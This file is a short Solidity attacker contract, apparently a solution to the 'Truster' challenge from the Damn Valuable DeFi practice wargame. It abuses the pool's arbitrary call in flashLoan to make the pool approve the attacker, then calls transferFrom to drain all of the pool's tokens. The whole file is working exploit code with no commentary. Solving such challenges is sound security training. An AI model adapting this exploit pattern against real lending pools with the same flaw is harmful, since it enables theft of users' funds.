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pragma solidity ^0.6.0; | |
import "./TrusterLenderPool.sol"; | |
contract AttackerContract{ | |
uint256 public totalTokens = 1000000 ether; | |
address public attackerAddress; | |
// DamnValuableToken public dvTokenContract; | |
address public dvTokenContract; | |
TrusterLenderPool public poolContract; | |
constructor(address _poolAddress,address _tokenAddress) public{ | |
attackerAddress = msg.sender; | |
poolContract = TrusterLenderPool(_poolAddress); | |
dvTokenContract = _tokenAddress; | |
} | |
function setUpAttack() public{ | |
bytes memory approvePayload = abi.encodeWithSignature("approve(address,uint256)",address(this),totalTokens); | |
bytes memory flashLoanPayload = abi.encodeWithSignature( | |
"flashLoan(uint256,address,address,bytes)", | |
0,attackerAddress,dvTokenContract,approvePayload); | |
(bool success, ) = address(poolContract).call(flashLoanPayload); | |
require (success,"Set Up Failed"); | |
} | |
function executeAttack() public{ | |
bytes memory transferPayload = abi.encodeWithSignature("transferFrom(address,address,uint256)",address(poolContract),attackerAddress,totalTokens); | |
(bool success, ) = dvTokenContract.call(transferPayload); | |
require (success,"Attackss Failed"); | |
} | |
} |
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